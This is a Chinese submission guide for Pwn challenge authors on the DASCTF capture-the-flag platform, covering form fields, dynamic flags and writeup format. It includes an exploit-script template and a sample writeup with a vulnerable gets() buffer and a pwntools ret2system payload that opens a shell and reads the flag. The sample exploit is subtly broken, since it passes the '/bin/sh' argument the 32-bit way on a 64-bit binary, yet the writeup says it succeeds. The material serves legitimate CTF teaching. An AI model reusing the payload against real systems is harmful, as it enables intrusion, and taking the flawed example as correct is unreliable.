填写指南
题目名
题目的名字,尽量多样化,避免 ez,baby 等名词简单堆砌。

题目附件
题目的附件,会在选手解题时提供给选手,请以 zip 格式压缩后上传。

容器文件
对于 Pwn 题来说,必须要有环境文件,也就是 Dockerfile。
Dockerfile 标准请查看 Dockerfile 文件内容制作指南。
最终上传文件时请使用 zip 格式压缩上传。

题目标签
在选择题目标签之前,请先按照“题目类型”处所示步骤,选择正确的题目分类。
请点击“+ New Tag”按钮来新增标签。

选择与题目对应的知识点标签。

添加完一个标签后,可以继续点击“+ New Tag”按钮来添加下一个标签。


注意:可以使用AI来选择标签!在下面将解题思路上传之后,可以点击AI标签按钮来让AI自动选择题目匹配的知识点标签。
有无提示
如有需要给到选手的提示,请点开这个开关,然后在提示栏输入要给出的提示,语言要精简。

题目难度
选择匹配的题目难度。
对于PWN题目来说,难度定义如下:
- 入门:涉及到 1 个知识点,选手平均解题所需时间约20分钟左右。
- 简单:涉及到 1~2 个知识点,选手平均解题所需时间约40分钟左右。
- 中等:涉及到 2~3 个知识点,选手平均解题所需时间约60分钟左右。
- 困难:涉及到 3~4 个知识点,选手平均解题所需时间约90分钟左右。
依据题目难度选择对应的难度即可,最终评价难度以审核人审核为准。

Flag类型
对于PWN题来说,除了 知识点标签表 中写明可以静态 Flag 的题外,其他题目均强制要求 动态Flag。
再次强调,请在题目容器文件中接收 “DASFLAG” 环境作为 flag!

题目类型
选择“PWN(二进制)”即可。

题目步骤
点击“+ New Step”按钮即可添加新的步骤。
多次点击“+ New Step”按钮可以多次添加步骤。

请在此处以简洁精炼的语言说明题目的解题步骤,不可直接拷贝解题思路里的文段!
题目描述
这里的文字是选手解题的时候展示给选手的描述性文字,便于选手了解题目大致的考察内容。

备注
这里的文字是展示给审核员查看的文字,出题人可以在此处给审核人一些说明。最终选手解题的时候不会看到这里的文字。

题目源码
需要在此处把环境中所有的程序源码投递一份。

Exploit
Exp脚本,请务必按照此格式编写 EXP,接收 目标IP,目标端口,预期FLAG 三个参数,如写死这些参数,直接不通过!
所有Pwn题目都需要提交EXP脚本!
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from pwn import *
# 输入为靶机 IP 和端口以及要验证的 flag
HOST = sys.argv[1]
PORT = int(sys.argv[2])
EXPECTED_FLAG = sys.argv[3]
# exp 函数
def exp(ip, port):
# 连接到靶机
conn = remote(ip, port)
# 构造 Payload
# 这里根据具体的 PWN 场景构造你的 payload
payload = b"A" * 64 # 示例 payload,通常需要根据具体的漏洞情况进行调整
# 发送 Payload
conn.sendline(payload)
# 接收响应
response = conn.recvall(timeout=2).decode('utf-8')
# 关闭连接
conn.close()
# 匹配 FLAG
match_group = re.findall("DASCTF{(.*?)}", response)
if match_group:
flag = match_group[0]
else:
flag = None
return flag
# 主逻辑
if __name__ == '__main__':
flag = exp(HOST, PORT)
if flag and flag == EXPECTED_FLAG:
print("Pass!")
else:
print("Fail!")
Checker
此处不需要,忽略即可。
解题视频
题目的解题视频文件,要求必须是 mp4 格式。
要求:
- 视频尺寸必须为屏幕尺寸,帧率30+,码率2000 kbps+。
- 视频有配音解说,解说要覆盖所做的每个步骤。没有声音的视频会被直接打回!
推荐OBS https://obsproject.com/ 来进行录制,配置如下。


WriteUp
题目的解题思路文件,请务必按照下面的格式使用 Markdown 详细填写。
要求:
- 图片需要使用指定图床 https://img.dasctf.com/ [DASCTF 图床系统 PicGo 快速配置指南](/平台使用/4. 图床/2. DASCTF 图床系统 PicGo 快速配置指南.html) 上传。
- 必须涵盖解题所需的每一个步骤,多个步骤不能合成一个步骤来写。
- 每一个步骤必须使用一张截图/一个公式/一段代码来配合解释,过于简略的解题思路会被直接打回!
- 模板里所有信息都要自己修改好。包含题目信息、FLAG、知识点、解题步骤。
模板:
# PWN1 的解题思路
## 题目信息
| 题目名 | 类型 | 难度 |
| ------ | ---- | ---- |
| pwn1 | PWN | 入门 |
## FLAG
* 动态flag(**ps: 这里如果是静态flag,就填“DASCTF{xxxxxxx}”格式的正确flag即可**)
## 知识点
1. 缓冲区溢出
2. 利用ROP
3. ASLR绕过
## 解题步骤
这里详细写 WriteUp 即可,这很重要,不详细写可能会被打回。
1. **步骤一:分析二进制文件**
使用 `file` 命令和 `checksec` 工具对二进制文件进行初步分析,确认保护机制和文件类型。
```bash
$ file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec --file=pwn1
[*] 'pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)从分析结果中可以看到,文件是一个64位的ELF可执行文件,启用了NX保护,但没有启用栈保护(No canary found)和PIE。
步骤二:反汇编与静态分析
使用
IDA Pro或Ghidra等工具反汇编二进制文件,找到程序的关键函数和漏洞点。assemblyvoid vuln() { char buffer[64]; gets(buffer); }通过静态分析,可以发现
vuln函数中存在gets函数调用,这是一个经典的缓冲区溢出漏洞。步骤三:构造溢出payload
由于程序没有启用栈保护和PIE,可以直接利用缓冲区溢出覆盖返回地址,跳转到我们构造的ROP链。
pythonfrom pwn import * p = process('./pwn1') e = ELF('./pwn1') # 找到 system 函数和 "/bin/sh" 字符串的地址 system_addr = e.symbols['system'] bin_sh_addr = next(e.search(b'/bin/sh')) # 构造ROP链 payload = b'A' * 72 # 填充缓冲区和栈帧 payload += p64(system_addr) # 覆盖返回地址为 system 函数地址 payload += b'B' * 8 # 伪造返回地址 payload += p64(bin_sh_addr) # "/bin/sh" 字符串地址 p.sendline(payload) p.interactive()步骤四:执行exploit并获取shell
运行上面的Python脚本,通过溢出漏洞执行
system("/bin/sh"),从而获得shell。bash$ python3 exploit.py [*] '/path/to/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Starting local process './pwn1': pid 12345 $ whoami user $ cat /path/to/flag DASCTF{xxxxxxx}
通过以上步骤,我们成功利用缓冲区溢出漏洞获取了目标系统的shell,并读取了FLAG。